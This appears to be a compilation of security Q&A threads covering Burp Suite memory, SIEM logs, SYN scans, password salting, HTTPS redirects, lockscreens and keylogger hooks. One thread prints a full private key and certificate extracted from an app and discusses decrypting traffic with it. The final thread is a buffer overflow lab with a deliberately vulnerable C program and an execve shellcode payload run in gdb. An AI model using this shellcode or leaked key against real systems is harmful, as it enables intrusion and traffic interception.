Specifying Burp Memory I am new to Burp Suite. While reading Burp Suite Essentials by Akash Mahajan, I came across one topic on Specifying the maximum memory Burp is allowed to use. It asks readers to allocate 2GB of spare RAM to Burp Suite through writing a command in the terminal. Now I have seen many users to right away open Burpsuite with a double-click and use the testing of applications with not increasing or specifying the max memory as they say that starting Burp Suite by double-clicking on the .jar file, the Java runtime will allocate the maximum memory available to Burp on its own.

How much memory usually Java runtime allocates on its own?
Do we really need to specify memory?
Is specifying memory a task that one needs to do each time while opening Burp Suite?

By default, Burp uses 50% of your system memory. This default is suitable for most uses and you should not normally need to override it. If you do want to override it (perhaps because you have lots of system memory and less than 50% is sufficient) then you can edit the vmoptions file in the Burp directory and override the memory limit.


Where can I download sample security log file archives? I am volunteering to teach some folks to learn Splunk to analyze logs by using SIEM. Therefore I will need some public log file archives such as auditd, secure.log, firewall, webapp logs, which I can use to upload to Splunk instance and write some queries on it.

Do you have any place you know I can download those kind of log files?

If you're hosting the Splunk instance yourself, you can install the Splunk Add-on for Unix and Linux and grab those logs from your Splunk server. You can run a bare-bones Splunk install well below the specs listed on their website.

Here are some syslogs from an MIT server (not all are viewable), but I will post a better repository if I am able to find one.


Is this HIPAA-protected health information? We're developing an online events calendar for a senior assisted-living facility.They want to record, in the system, the names of facility residents who attend each event. There would be no other information recorded except for the resident's name. Would this alone cause our system to have to comply with all 54 items of the HIPAA Security Rule? I can't tell whether resident names, in this context, is considered "protected health information." Thanks!

Assuming the subject of each event is medical, you're essentially mapping real names (which are considered identifying information, i.e. part of PII) to a medical subject that is likely relevant to their personal health issues. As such, I'd almost certainly say that you're falling into HIPAA territory, and should get everything checked out by a lawyer and the appropriate regulatory bodies.


What's the advantage of sending an RST packet after getting a response in a SYN scan? I'm reading about nmap's SYN scan, and it says Nmap sends an RST immediately after the server tries to establish the handshake.

My question is - why bother with the RST? Is it to prevent the server from trying to reconnect on every checked port, and thus create unneeded incoming traffic to the scanning machine? Would that traffic slow the scan down immensely?

I would guess that that pattern of SYN, RST should be easy to "read" by IDSs, and I'm not sure why it is there in the first place. Why not register the response and keep going?

Leaving a connection in syn_rcvd state will raise flags as well as this is a common denial of service attack.

If you don't send a RST, the server will remain in a syn_rcv state for up to 60 seconds and retransmit the SYN ACK up to 5x.  This will waste resources on the network you're scanning and cause a bunch of (depending on the speed and success of your scan) of retransmitted SYN ACKs being sent back to you.

The 60 second and 5 retries are linux defaults - these values will vary.


Can an android phone harm windows network? Is it a security issue if someone is able to login into windows domain through an android phone with admin credentials through something like ES file explorer? I read that usually androids cant run exe files so I feel like not much harm can be done without tools like cmd.exe

Yes, any device that allows you access to a Windows network can be used to compromise that network. It doesn't matter that an android phone can't run exe files. I can grab tokens, attack files, databases...etc

And similar to @iismathwizard, I wouldn't expect to ever use cmd.exe on any device I was using to attack a Windows network. I may run the cmd.exe on a compromised Windows box, but to do that I'd have already connected to that box, and I can do that from any device I like with RDP/SSH/telnet/whatever


Is an exploit that exposes the balance of any account in the bank a high risk exploit? I have found an exploit to get account balance information for any account in my bank website.

What is the level of this exploit (risk, medium, low)?

and is it ethical to ask for a prize or money before telling them what is the problem?

This is definitely a leak of sensitive information. Privacy demands that as an account holder my bank balance is not disclosed to random individuals. Some people might not be bothered by such a disclosure, but most will consider it a breach of their privacy.

  What is the level of this exploit (risk, medium, low)?

This is subjective to the environment but I would say in this case the risk to privacy is 'high'.

  is it ethical to ask for a prize or money before telling them what is
  the problem?

Answer to this is, again, subjective. Do they have a bug bounty program where they are offering rewards for such disclosures? If yes, then it is ethical for you to report the issue and claim the reward. If they do not have a bounty program, I would write an email to their IT or security team with details of your findings without expecting anything but a 'thank you' (which you might or might not get).

In case you receive no response from them and they do not patch the vulnerability, you might want to go for full disclosure in a public forum after waiting a certain period of time.


Why don't computers check whether there are memory contents in some memory space? Buffer overflow occurs because it writes to memory spaces that are used by, or will be used by other parts of the program.

Computer programs usually write to the memorylocation that has been occupied by other previous executions; for example, if we write to char a[64] by receiving stdin (from user input) data, the space it writes to is not always an empty space; these spaces are unnecessary and can be overwritten.

However, if we force computers/compilers to write to the space that is empty, we would be able to check memory contents, and if memory space is not empty, stop executing, prevent many security vulnerabilities.

So, why is this not occurring? Am I mistaken?

Is this due to RAM architecture? (such as maybe not being able to access memory easily and we have to access memory only by registers and so on?)

There is always something in memory. Each bit contains either a 0 or a 1 at all times. If the same space in memory is used for two different purposes, the computer (the compiler or the runtime system) can't tell: purposes are a human concept, not a machine concept.

On most systems that you'd think of as computers nowadays (PCs, servers, mobile phones, routers, etc., but not the pervasive kinds of microprocessors and microcontrollers found in most electronic components), there is a memory management unit (MMU). The MMU translates between memory addresses used by the program (virtual addresses) and memory addresses in the actual memory bank (physical addresses). At this translation layer, it's possible to mark some zones of virtual memory as inaccessible. If a program tries to use inaccessible memory, that program will be killed (Windows calls this a general protection fault, Unix calls this a segmentation fault).

It's possible to use the MMU for memory protection. In fact, that's how multitasking operating systems protect applications from accessing each other's memory. However, inside a program, the applications are limited. You can't put every variable of a program in its own zone surrounded by inaccessible zones. Well, you can, and some debugging programs do it, but that's very inefficient, because the granularity of the address translation is coarse (4kB on most processor architectures). And it doesn't solve all errors. If you have a 64-byte buffer followed by 4032 bytes of unused memory and followed by 4096 inaccessible bytes, an overflow into the 65th byte won't be detected (all you can ensure is that it won't corrupt other variables of the program); an overflow into the 4097th byte will overwrite something else. If you free an object and reuse its memory address for another object, but some part of the program still references the old object, that won't be detected either. (You can't keep addresses of old objects invalid forever, because you'll run out of addresses eventually.)

Many types of misuse of memory can be detected automatically, but runtime is not a good way to do it. You can catch errors sometimes — in addition to accesses to inaccessible memory, you can put explicit checks in your program or runtime environment. For example, you can attempt to detect a stack overflow by putting a known value at the bottom of the stack (a canary) and checking it from time to time. This does help against accidental errors, if the canary value is checked before damage can happen. When it comes to malicious attacks, canary values can make it more difficult to write an exploit, but they don't prevent everything. There are more complex methods of runtime checks, such as taking checksums of parts of memory and arranging to abort if those checksums don't match at a later; those are mostly used in hostile (“grey-box”) environments where the attacker has some limited means to perturbate the execution of the program.

The right time to detect misuse of memory is at compile time. There, it's possible to detect buffer overflows by ensuring that, for every instruction that accesses an element of an array:

either the compiler can prove that the index is always within the bounds of the array;
or there is a range check on the index immediately before the access to the array element.

Buffer overflows are only one of the problems. Another common problem is when a program frees the memory allocated to an object, but keeps a pointer to this object around and attempts to access the object later. There is a solution for this, but it has a strong implication on the language design. It implies that the language must forbid programmers from storing pointers in uncontrolled ways. There are several approaches:

the programming environment invalidates all pointers to an object when its memory is freed;
the compiler refuses to compile a program that frees an object when there are still pointers to this object around;
the compiler defers requests to free an object until it can prove to its satisfaction that there no pointers to this object remain.

Most programming languages solve these issues through some form of automatic memory management, where requests to free an object (if they exist at all) are not processed immediately, and all pointers are under the control of the compiler so that it can know what object this pointer is accessing. For example, the compiler sees that an instruction is accessing the 42nd byte of some object A, so it emits an instruction to check that A has at least that many bytes, and it records A as being in use up to that point so that A won't be freed earlier. The most common technique for automatic memory management is garbage collection: the runtime environment has a way to explore all the pointers of the program (which implies that the programmer can't make up a pointer in some hidden way), and it only ever frees objects when there is no pointer to them that the program can accesss.

A majority of programming languages out there use garbage collection and mandatory boundary checks (the two usually go together): C#, Java, JavaScript, Perl, PHP, Python, Ruby…. But the exceptions include some very common languages: C and C++. These languages are designed to give a lot of control to the programmer. They are not compatible with an approach where the programmer is forbidden from making up pointers.

Why do people program in such error-prone languages? Some of the reasons include:

The weight of history: programs are written in C, and they keep evolving in C.
Performance. Real or perceived. Automatic memory management has a runtime cost (but then, so does manual memory management).
The weight of history: programmers know C, so they write more programs in C.
Overconfidence. Many programmers believe that since they are smarter than a computer, the computer should not override their decisions. (I am smarter than the guard railing on my balcony; so why does it prevent me from walking off the 10th floor?)
The weight of history: there's a C compiler for every platform. Other languages tend to be less portable.

Languages where the programmer can't make up pointers turns programming errors
that would lead to arbitrary code execution due to a buffer overflow or access to a freed object into denials of service: the program may abort due to an uncaught out-of-bounds exception, or it may run out of memory, but at least it won't do the attacker's bidding. So they don't completely solve the problem — there's no miracle cure — they merely reduce its impact.

While languages with automatic memory management are a step up, they don't fully solve the original unsolvable issue, which is that memory is used for a different purpose from what it was intended for. They're only a step up, in fact. Instead of misusing bytes in memory (which is what buffer overflows can do), attackers may misuse strings: a string that should have been interpreted only as text intended for human beings, is instead interpreted as instructions in some programming language. For an example, an SQL injection attack consists of inserting a single quote in a string which results in part of that string being interpreted as SQL rather than, say, somebody's name. There are ways of relying on the compiler to detect such misuse, but most popular languages don't implement them, and most programmers have no idea that such techniques even exist (see Handing untrusted string input in print function and avoid buffer overflow for an idea of how it's done).


Why RSA signatures based on the hash of the message? Why RSA signatures based on the hash of the message rather than the message itself?

Technically, the signature works over the message; it so happens that the first step of the signature generation algorithm is to hash the message with a hash function, and the hash value is used afterwards.

Using a hash function is necessary because the RSA algorithm relies on integers modulo a given integer (which is part of the public key), so it cannot work with values which do not fit in that limited range. The hash function is also needed to ensure non-malleability (a rather technical internal characteristic). Using a hash function is sufficient because of the properties of cryptographic hash functions; namely, the resistance of hash functions to collisions and preimages really means that signing a hash is "as good" as signing the original message.


What should be the life time for SMS OTP? I've tried to find such a standard that mention the lifetime of SME OTP, however, NIST is no longer recommended using SMS OTP due to the risk involved.

Regardless of the security concerns, I still need to implement SMS OTP and would like to know the standard criteria in implementing SMS OTP. What should be the lifetime, How long should the user wait until he can request for another OTP, can the user request the same OTP again?

In case you really need to implement such a thing: Paypal still uses SMS OTP. They generate a new token every 5 minutes and will generate a new one upon request if I remember correctly.

From my point of view there is no reason not to do so. Your timespan has to correspond to other security measures (like rate limiting) to make sure the OTP is not guessable in that timespan. That's the only thing the timespan is really protecting from. That is because: if someone manages to carry out one of the other possible attacks (MITM on mobile network or attacking the mobile phone directly utilizing malware) every timespan that the user takes to input the key legitimately is sufficient to carry out the attack as well.


Dangers of distributing an ssl.pem file I have recently been digging through windows store apps in order to see what dumb things engineers are putting in the store. Recently, I found an ssl.pem file deployed with an app.

I never ran this app, so I don't believe this file was generated locally. I think they deploy it with the app. I just installed it from the Windows store and started digging.

My assumption is, with the ssl.pem file, I should be able to:

MiTM someone that is using the app
Feed the pem file to Wireshark
Decrypt and inspect all their traffic.

Is this a realistic attack? Is there something I'm missing?

Also, is it common to deploy an app with a pem file inside? I would imagine you'd want to generate that on a per session basis.

-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCzWhBE5GUB5sCu
OhIktg+7uVTlaGGsvnM3yQxRw90GkadVUEUCekHuCjYn36zG+8ZKE1wyJnoPjARw
VBTNenFUmyDsajNwuVWYUqBfnrj9f5rLyhZHXN8GQ9wVNUSnop6lo1pUAJ2DKxTI
JbhNorGr2+u315AtesTqYjw6pdj1QmnOYW7Be10aDujxMB19ULY3fDoU+IRzqGIa
EVvyyX88ZNDQJrPtoN9AYoaoF5UDyc92Pc8yWpd7cZKJf9/4VNqSShRY3Ta6bmay
tjJjSHGC84o+6Xm6Vq+scZWQQvJYjcCvdCrbKFLlsuiuxyojyBqH/Bsn3OlsZ1KE
f7BDHICLAgMBAAECggEBAIJF0floeGHILX6f2ZvmzkjJ1nuHtSLXdzM3Coa9oObr
l0LluiqRiSARNMMDuikSqjYWF+qpfhGa34KD4FRcMsOEpoZyoYioZh7tLWYnETG4
pUSPNl2BfNG9KrgQ6Bxnh5rCq5LGm6KyATdcBqIFoc42QOJZZnVSboPc9OiYnJ2P
9401ZTQ7cgz0/doYx3PmixVXt8jZSq9GRAVcwlWixTy2LgH3R0VUOmqfYGv1GsGx
ARNYj46tJ2psoVLsn8jPAesCB8CkcNoB4+x98t5dH9hBlQbIErcO8Cm0uXTq370L
BuSF6F38rAey+g2zJWeClRxF+pBJh4M6oO9cSmHWF7kCgYEA2+Kp6x7pzIJFmKPy
CCmz2otBe2ox4hM2BTAYDS9ma3Q2vEX0D1Btw2SC6ZAfo8Vs3QTjvN+PkcRwi251
z6bspGPYbUApblfF+bDb9D6lyG6OJeqIxVt6Vf+fizMvL5qV+8irgYiThmUF9YAJ
1jqECeroVI83WEWa87CDSlaMuf0CgYEA0M8eMMf1ASHZyXU+ol9JuPsqg40XCPt7
5A4U6IHj3EUDTn7og5SMp/kkAig06YLrs8t1g9vHOwAgOc393lFyIpspfpkTMtj3
Pk9ETVFPFTASyCUtGK6jF27fwib5gLE1Ir3KMzcz3RoZYlPbLJBHf3u7/T6CPGCE
gt7HKiCjRycCgYEAjYa4o1MEXNNEhFiRgduFnZagERVrAf4nePNZp7LokyT7zfag
ffLgkzDwafCPzNNXnHJ3OqwSNlpfrf7s6Tihe7WgKcFwaUspa+r/x5dDEVzHNXRd
j9mvRgb/45KQPm2bN7ITYY5MleYUDc3Zhv+m2NNPso1zq+cxMsRb3M8USOkCgYA0
z11EWx4U9jm9oOCBcnYTybo74TAlPm1cBU+2ajt11yJ59NDbjnNwfCtmPEL9l/YC
1/9VpP0jZ+m+lOGTG6gxJmr9MLvRTVxiruuIXnsQ0cK+SeC48FohMBJ5aSALM0ZM
DhIYl+qPDe3Dl4/EGo1qqaGm7+tCV+rLqopWlkCVWwKBgQCO01VJrp5T9fbkwjjF
JYDdrq9UCtTOQ+Qy/W7/blSxnRkO67raaGA0qek9ZPAtnG1TpeX9Bo0LZhGf/DcE
rB8sJpR71b+TtL9XlG1eu5ZzpURgpO+4WouoatMANLGsPvwlJ9vzX4sHAMT0lf50
Ck/qzYOPVwrdhd6htkYQ59XbpA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIID4zCCAsugAwIBAgIJAMSNkfAcfcwzMA0GCSqGSIb3DQEBCwUAMIGHMQswCQYD
VQQGEwJTRTESMBAGA1UECAwJU3RvY2tob2xtMRIwEAYDVQQHDAlTdG9ja2hvbG0x
DTALBgNVBAoMBEtpbmcxDjAMBgNVBAsMBUNhbmR5MQ0wCwYDVQQDDARLaW5nMSIw
IAYJKoZIhvcNAQkBFhNzdHJpdHotZGV2QGtpbmcuY29tMB4XDTE2MDIwODEyMzky
OFoXDTE4MTEwNDEyMzkyOFowgYcxCzAJBgNVBAYTAlNFMRIwEAYDVQQIDAlTdG9j
a2hvbG0xEjAQBgNVBAcMCVN0b2NraG9sbTENMAsGA1UECgwES2luZzEOMAwGA1UE
CwwFQ2FuZHkxDTALBgNVBAMMBEtpbmcxIjAgBgkqhkiG9w0BCQEWE3N0cml0ei1k
ZXZAa2luZy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzWhBE
5GUB5sCuOhIktg+7uVTlaGGsvnM3yQxRw90GkadVUEUCekHuCjYn36zG+8ZKE1wy
JnoPjARwVBTNenFUmyDsajNwuVWYUqBfnrj9f5rLyhZHXN8GQ9wVNUSnop6lo1pU
AJ2DKxTIJbhNorGr2+u315AtesTqYjw6pdj1QmnOYW7Be10aDujxMB19ULY3fDoU
+IRzqGIaEVvyyX88ZNDQJrPtoN9AYoaoF5UDyc92Pc8yWpd7cZKJf9/4VNqSShRY
3Ta6bmaytjJjSHGC84o+6Xm6Vq+scZWQQvJYjcCvdCrbKFLlsuiuxyojyBqH/Bsn
3OlsZ1KEf7BDHICLAgMBAAGjUDBOMB0GA1UdDgQWBBR0arfWGx19kisUiaB/OF4o
xiolEzAfBgNVHSMEGDAWgBR0arfWGx19kisUiaB/OF4oxiolEzAMBgNVHRMEBTAD
AQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBA4iPNPv7VbabYQMJtqZ7CL+0s5vH7Oq4D
QXPko3H/dXZ/11Sglujm/2YlYfYIU1CXghZB6TnhSnYncG6gGMT0CmH/7zUkBrYl
6dVODXPGKNrstNVB7Z1y4aNkmn/wiLKgdN0/zv8CePZwgIBQ7HsF7O/THA7ceZov
aM8y8LLjP8GY8l1beZpOBbcPKm7trhTujT1Gm97CfZZU/H3yW+aoc1rLVVlqnwyi
H3A2kquscy8eKOimdUtcIuI5kfnOumAnrNCrszlrwgLeRfO5E3Ztvd/ktGNFGcGF
8zIGTdEblECUxLgpKxmYtNdMDYUXDtqZ4nz49eZONOAzmA9r0Qjb
-----END CERTIFICATE-----

It depends on the usage. Since you've posted the certificate we can  see it's a self signed certificate with the corresponding private key, valid to  Nov 4 12:39:28 2018 GMT. You probably extracted it from the Candy Crush game.

Most possibly it's worthless (you can generate any number of certs like this), unless it is used for something interesting online.
If this pair is used for anything, somebody made a mistake. Unless Perfect Forward Secrecy was used in the communication, we don't even need MiTM since we have the private key now. We can decrypt all messages directly (provided we can capture the data of course). Moreover, we could fool the clients with our own server version and do what we want. We have to reverse engineer the software and/or the protocol though.

There is a slight chance it is a uniquely generated pair for your app instance, which is used for identify you at the server. That case attackers now can fake your identity in the Candy Crush game since you have published your private key. I don't think it is the case though, because the Subject field doesn't seems to be unique.

Regarding to your last question, yes it is certainly possible to deploy pem files with the app, since pem is a container format, it doesn't necessarily contain the private key (while the one you posted does). Distributing certificates is perfectly valid, most of the browsers do it.


Remove pdf malware by re-printing to new pdf or text extract? Consider you have a suspicious pdf file that might contain malware. Would it be sufficient to either:

open the pdf file in a virtual environment and let the pdf viewer or pdf-creator program "print-to-file" a new clean pdf file from the original one?
use a program to extract only the text from the contaminated file and save only text to a *.txt file?

If both are insufficient, are there any tools like "NoScript" for pdf? Or else, to protect against pdf malware - other than a virtual machine?

PDF malware tends to target the vulnerabilities of the PDF reader you use. You might find success by using an alternate reader and extracting the text.

As for "NoScript"-like options, PDF readers do tend to have the option to not execute dynamic code, but not all malware takes advantage of PDF scripting to do its work (it takes advantage of vulnerabilities, as I said).


Is local admin access a danger to a properly set-up network? I read this question: Is it common to allow local admin access for developers in organizations?

This question makes me wonder. I can see how local admin access is a danger to the machine. But can a computer with a user account with local admin access actually be a bigger danger to a properly set-up network than a computer that does not have local admin access? If yes, how?

Local Admin access means that it is easier for the attacker to establish persistent control of the host, to install software and modify system settings, and to take actions like sniffing the network that may allow it to move laterally onto other systems.

So, yes, it is a danger to the network, in that it provides the attacker with more stable access to a more capable platform for lateral movement.


How does medium.com know my google account? I went to an article on medium.com earlier today, and instead of the annoying full screen popup they usually show to returning visitors, I saw this in the upper right corner:

Right there on the medium page they have my name and google email-address! I do not have an account on Medium, nor have I ever done anything but read various articles I received direct links to.

How is medium able to display this popup? I have no memory of telling them who I am, and with all the talk about cross-origin protections this doesn't seem like it should be possible.

I suppose it probably is a popup feature provided by google, but that sounds like it could be easily misused by any site to steal my name and email. I use firefox, so it can't be some crazy chrome feature.

They do that via an iframe with one of Google's beta features which is currently closed. You can see the iframe in the following screenshot of Medium's website.

However, this does not mean Medium will be able to access your user information. The content inside of the iframe is sandboxed and can only be accessed if Google adds a same origin policy permission permitting Medium's domain to access it. See this Medium article for more information on cross origin policies with iframes.


Why didn't OSes securely delete files right from the beginning? And why do they still not do this? After decades of hearing that "delete" does not really make the data impossible to recover, I have to ask WHY the OS was not corrected long ago to do what it should have been doing all along? What is the big deal? Can't the system just trundle along in the background over-overwriting and whatever else has to happen? Why do we need additional utilities to do what we always thought was happening? What is the motivation of OS developers to NOT correct this problem?

ADDITION: This is not a technology question, because clearly it IS possible to delete things securely, or else there would not be tools available to do it. It is a policy question: If some people feel that it is important and should be part of the OS, why is it not part of the OS? Many things have been added to OSes over the years, and this could certainly be one of them. And it IS an important issue, or there would not have been articles and stories about it for about 3 decades now. What is with the inertia? Just do the right thing.

Because of the following reasons:

Performance - it takes up resources destroying files. Imagine an application that uses hundreds or thousands of files. It would be a huge operation to securely delete each one.
Extra wear and tear on the drives.
Sometimes the ability to retrieve a file is a feature of the OS (e.g. Trash, Recycle Bin, Volume Shadow Copy).
As noted by Xander, sometimes the physical storage mechanism is abstracted from the OS (e.g. SSDs or network drives).


Is it possible re-key OpenVPN on the fly Is it possible re-key OpenVPN on the fly with a new PSK without killing an restarting it with a new config?  it will be started with a PSK but i want to change it soon after start and periodically.

Not with a PSK. But what you ask for is something OpenVPN provides with it's TLS mode.  That will periodically negotiate new keys for you automatically.

If you do want the networking to be peer-to-peer, like in PSK mode, you can use configs similar to those in the loopback-server and loopback-client configs in the OpenVPN config files.

Something like this should work:

Peer 1;

remote peer.2.ip.address
local peer.1.ip.address
dev tun
verb 3
tls-server
dh dh2048.pem
ca ca.crt
key server.key
cert server.crt
tls-auth ta.key 0

Peer 2:

remote peer.1.ip.address
local peer.2.ip.address
dev tun
verb 3
tls-client
remote-cert-tls server
ca ca.crt
key client.key
cert client.crt
tls-auth ta.key 1

You can use a tool like easyrsa to generate the ca and certificates.


Using a Hash as a Salt? Ive done a bit of reading on the subject of Hashes and Salts and I came up with an idea for a salting scheme but I wanted to check it with some people more learned than myself.

My basic idea is to use the initial password hash as a salt for a second hash ie.

password = 'foobar'
final_hash = sha1( sha1( password ) + password )

If anyone can explain why this might be a bad idea Id really appreciate it.

Thanks!

You will not achieve anything. Consider two users with the same password, salt, among others, is designed to achieve different hashes for the very same password.

In example:

User A pass: foo, salt: abcd = hash ( abcd + foo ) = 23424098FAD
User B pass: foo, salt dkes  = hash ( dkes + foo ) = 8734536EA43

But with your algorithm you will end up with the very same hash:

User A pass: foo = hash ( hash(foo) + foo ) = 123AB2344
User B pass: foo = hash ( hash(foo) + foo ) = 123AB2344

Also, don't roll your own.


Security of an initial redirection from http://example.com to https://example.com Suppose that http://example.com/<foo> systematically redirects to https://example.com/<foo>. I enter http://example.com in my browser's URL bar, and I see a page load and the URL bar now displays exactly https://example.com/ (no Unicode hack, no whitespace hack, etc.). I verify that this is the case (most users won't, but assume that in this case the user did). Further assume that my browser isn't vulnerable to URL bar faking. Also assume that the SSL certificate is valid.

In this situation, can I trust that from now on my session is not vulnerable to any man-in-the-middle attack? Could a MITM on the initial HTTP connection have injected something — a cookie, a hidden frame, whatever that would compromise the subsequent apparent HTTPS session?

 This is a subcase of How secure is redirecting user from http://normal.bank.com to https://secure.bank.com?, I'm after more details for this specific case.

As far as I can see, there are two vulnerabilities here:

The Secure flag isn't set. The initial HTTP request will leak the session cookie either from a session created by the instance at http://example.com or from a previous session created by the instance at https://example.com. The same leaked session identifier will be reused -> The attacker will have access to the session.
The initial HTTP request is intercepted and the response is replaced with one that plants a cookie with a session identifier for a session started by the attacker. Subsequent requests will reuse the same cookie. This is a form of session fixation attacks.

In both cases, when reaching the HTTPS instance, the server has no way of knowing whether to invalidate the previous session or not, as the session can be the legitimate one started by the user.

The only solution I see here is to invalidate and recreate the session when a request is made to https://example.com and then use cryptographically-strong tokens in addition to the session cookie with subsequent requests. The token needs to used one time and one time only.


Desktop Flickers Past Lock Screen I'm using Fedora 22 with Gnome 3. I have a password set for my user account, so when my laptop awakens from sleep, I am presented with the lock screen and must enter my password before getting to my desktop. Frequently (maybe 10% of the time), when awaking my computer from sleep mode, I see a very brief "flicker" of my desktop (with all my windows still open) before being presented with the lock screen. It would seem to me that a properly designed security mechanism would not even have the desktop open at all until the user is authenticated. Is this a sign of a serious security hole? Is it a preventable design decision?

It's not a "security flaw" in the sense that something is broken or that the flickers indicate a bug or an attack. Rather, it's an issue with the underlying graphic stack of Linux and the lack of semantics for privileged desktop clients.

Just to get this out of the way, the flicker is most likely caused by a poor interaction between your GPU drivers and GNOME Shell or whatever built-in Wayland compositor there is in GDM. It's completely unrelated to security.

Now onto why you see your desktop below the lock screen...

Historical situation

X11, the protocol and graphic stack server used on all Linux systems, was not designed with the ability to isolate windows from one another effectively, and both the original X11 protocol and a number of extensions to it make it possible and easy for apps to spoof authentication UI dialogs and steal input from other clients.

Traditionally hence, lock screens are merely programs that:

spawn full screen, on top of all other windows (by using specific WM options on their window
grab all input (in practice, they can go as far as binding every single key combination on your keyboard to ensure all input events are dispatched to them first)

At this stage you could open a TTY and kill the userland process that grabs the input and covers the screen, and you could probably try to pop some other window on top of it (but it couldn't receive keyboard events). Also note that in X11 keyboard events are not properly dispatched when there is a menu open. So if you can spawn an app and make it open a menu, you might be able to prevent the lock screen from getting input. So far so good.

The most obvious security flaw that comes to mind is that graphic stack servers / compositors have no way to identify whether a specific window is a lockscreen, and whether a specific window claims to be a lockscreen but isn't. This is also a problem on OSX and Windows 8, and I've discussed it before at XDC. The only proper protection against lockscreen spoofs is to use 2-factor authentication.

Less acceptable forms of protection are secure attention sequences (Windows's Ctrl+Alt+Del) or special lockscreen-only capabilities that are hard to spoof and easy to identify (off-screen yet visible indicator, fullscreen only for lockscreen, etc.). In other words you need a trusted path between the user and the OS that triggers the lockscreen, and you also need the lockscreen to authenticate to the user.

Did GNOME-Wayland change anything?

Sadly not as much as it should have. You now have much stronger guarantees, thanks to Wayland's protocol for input dispatching) that your legit lockscreen will not have its input stolen away from it. But you have no way to determine whether it is your actual lockscreen that's in front of you.

Why? There was a strong incentive for GNOME to be the first to "implement" Wayland, and so they just copy/pasted some of the poor, insecure X11 protocols (in particular, selections, methods for accessing special hardware, for binding global shortcuts and accessing fullscreen). Lockscreens are easy to spoof without the requirements I've set up above, and the GNOME Shell developer(s) have not implemented counter-measures. I've discussed this topic privately with one of them and have come to the conclusion that they are not interested in discussing any cross-desktop defences to graphic stack security vulnerabilities. I was told they will solve all underpinning security issues with custom methods that will be somewhat better, at some point in the future.

There is no agenda set for such work to be done and no evidence that it will be carried out. Red Hat's security engineers being busy working on app sandboxing and Docker-related stuff, it's unlikely they will have any manpower to tackle desktop security issues any time soon, and now that the code is implemented and used in the wild, it's even less likely that someone will want to re-change the Wayland APIs. Worse yet, other DEs might want to follow GNOME and leave some APIs unsecured for the sake of not modifying toolkits or desktop apps again.

Last time I spoke to them, the KDE folks were interested in building 2FA, so there might be a workable, less insecure lockscreen for Linux desktops a few years away from now.


Unregistering keyboard hooks by timeout expiration I'm writing a password manager for Windows which I want to protect against keyloggers. There is a timeout of 5000 ms for keyboard hooks.

The hook procedure should process a message in less time than the data entry specified in the LowLevelHooksTimeout value in the following registry key:
HKEY_CURRENT_USER\Control Panel\Desktop
The value is in milliseconds.

(The default value of that Registry key is 5000)
Assuming a password manager running as administrator, could I suspend all programs, simulate typing a key, wait for 5 seconds and then be sure that all keyboard hooks have been disabled by Windows?
I've not found a way of unregistering all hooks via UnhookWindowsHookEx because it requires a handle that I do not have.  This is why I'm resorting to unregistering them by timeout.

There are three reasons I can see why this assumption is dicey.

Hooks are only removed in Windows 7 and above.  This is probably the least of your concern, but worth mentioning.
The hook is silently removed, and your application has no way of knowing if these actions occurred and/or were successful.

So even if your assumption is correct there is no way for you to know that the hooks were removed.  Which means you should assume that not all of them have been removed.

This only applies to keyboard hooks that have been registered using SetWindowsHookEx

This is the more pressing issue.  A lot of malware are not going to use the built-in hooking API.  They'll write their own hooks which won't be registered with the OS.  Or at an even lower level for key-loggers, they'll be hooking or installing their own system level driver.  Which again, will not be registering with the operating system.

Suspending all programs is possible, but again you might not be able to suspend the services that the key-logger is installed as or into.  While I think that it's noble of you to try and guard against key-loggers I don't believe it is your responsibility.


Can change flow of the program yet can't execute shellcode I've created a small vulnerable C program, which normally won't call function overflowed.

void overflowed(){
        printf("%s\n","Hijacked");
}

void normally(char * st){
        char buffer[80];
        strcpy(buffer,st);
}

int main(int argc, char * argv[]){
        normally(argv[1]);
        printf("%s\n","Regulary executed");
        return 0;
}

Opened it up in gdb and managed to call function overflowed

(gdb) disass overflowed
Dump of assembler code for function overflowed:
   0x08048436 : push   %ebp
   0x08048437 : mov    %esp,%ebp
   0x08048439 : push   %ebx
   0x0804843a : call   0x80484bc
   0x0804843f : add    $0x1bc1,%eax
   0x08048444 :    lea    -0x1ac0(%eax),%edx
   0x0804844a :    push   %edx
   0x0804844b :    mov    %eax,%ebx
   0x0804844d :    call   0x8048310
   0x08048452 :    add    $0x4,%esp
   0x08048455 :    nop
   0x08048456 :    mov    -0x4(%ebp),%ebx
   0x08048459 :    leave
   0x0804845a :    ret
End of assembler dump.
(gdb) run $(python -c "print 'A'*88+'\x36\x84\x04\x08'")
Starting program: /root/vuln $(python -c "print 'A'*88+'\x36\x84\x04\x08'")
Hijacked

Program received signal SIGSEGV, Segmentation fault.
0xbffff500 in ?? ()
(gdb)

I've set a breakpoint on exit of function normally to check stack so i can see which return address to put. I've made it and the here is the output. I just can figure out why the shellcode won't get execute. Btw shellcode works, tested it already in C program to invoke this shellcode.

(gdb) run $(python -c "print '\x90'*62+'\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80'+'\xf4\xf2\xff\xbf'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/vuln $(python -c "print '\x90'*62+'\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80'+'\xf4\xf2\xff\xbf'")

Breakpoint 2, normally (st=0xbffff500 "") at vulnerable.c:11
11  }
(gdb) x/25xw $esp
0xbffff2f4: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff304: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff314: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff324: 0x90909090  0x90909090  0x90909090  0xc0319090
0xbffff334: 0x2f685099  0x6868732f  0x6e69622f  0x5350e389
0xbffff344: 0xc031e189  0x80cd0bb0  0xbffff2f4  0xbffff500
0xbffff354: 0x00000000
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff345 in ?? ()
(gdb)

ASLR is turned off, compiled with -fno-stack-protector, -z execstack and -no-pie.

The reason why it failed is because of bad shellcode, i took the one from The Shellcoders Handbook and it worked like charm.


